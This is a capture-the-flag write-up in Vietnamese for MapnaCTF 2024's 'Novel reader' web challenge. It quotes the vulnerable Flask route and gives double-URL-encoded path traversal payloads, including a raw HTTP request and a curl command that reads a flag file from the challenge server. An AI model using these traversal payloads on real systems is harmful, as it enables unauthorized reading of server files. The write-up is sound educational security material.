MapnaCTF 2024 - web
Web
Novel reader - 44 point
Description
We have many fun novels for ya...
http://3.64.250.135:9000
Source code here
Solution
Giao diện web như sau:
Ứng dụng có 2 chức năng chính là readfile và charge account. Mặc định Mỗi người dùng ban đầu sẽ có 100 Balance và 1 Words Balance.
Trong list private
của endpoint /api/list-private-novels
có chứa file
["A-Secret-Tale.txt"]
với nội dung có chứa FLAG:
Once a upon time there was a flag. The flag was read like this: MAPNA{test-flag}. FIN.
=> Mục tiêu: đọc được file A-Secret-Tale.txt
trong main.py
@app.get('/api/read/<path:name>')
def readNovel(name):
name = unquote(name)
if(not name.startswith('public/')):
return {'success': False, 'msg': 'You can only read public novels!'}, 400
buf = readFile(name).split(' ')
buf = ' '.join(buf[0:session['words_balance']])+'... Charge your account to unlock more of the novel!'
return {'success': True, 'msg': buf}
ở đây ta thấy giá trị truyền vào được đưa vào hàm readFile để đọc và trả về dữ liệu cho người dùng nếu có đủ words_balance
.
Ở đây ta có thể path travesal vượt qua hàm `unqute` của `urllib.parse` bằng cách url encoding payload `%2e` => `%252f`
tôi đã thử đọc file `A-Secret-Tale.txt` bằng cách này với payload:
```yaml
GET /api/read/public%252F%252E%252E%252Fprivate%252FA%252DSecret%252DTale%252Etxt HTTP/1.1
Host: 3.64.250.135:9000
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: http://3.64.250.135:9000/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=[REDACTED]
Connection: close
tuy nhiên, nó không thành công do chúng ta không có đủ words_balance
.
payload cuối:
/api/read/public/%252e%252e/%252e%252e/flag.txt
Script
curl http://3.64.250.135:9000/api/read/public/%252e%252e/%252e%252e/flag.txt
result:
{"msg":"MAPNA{uhhh-1-7h1nk-1-f0r607-70-ch3ck-cr3d17>0-4b331d4b}\n\n... Charge your account to unlock more of the novel!","success":true}
Comments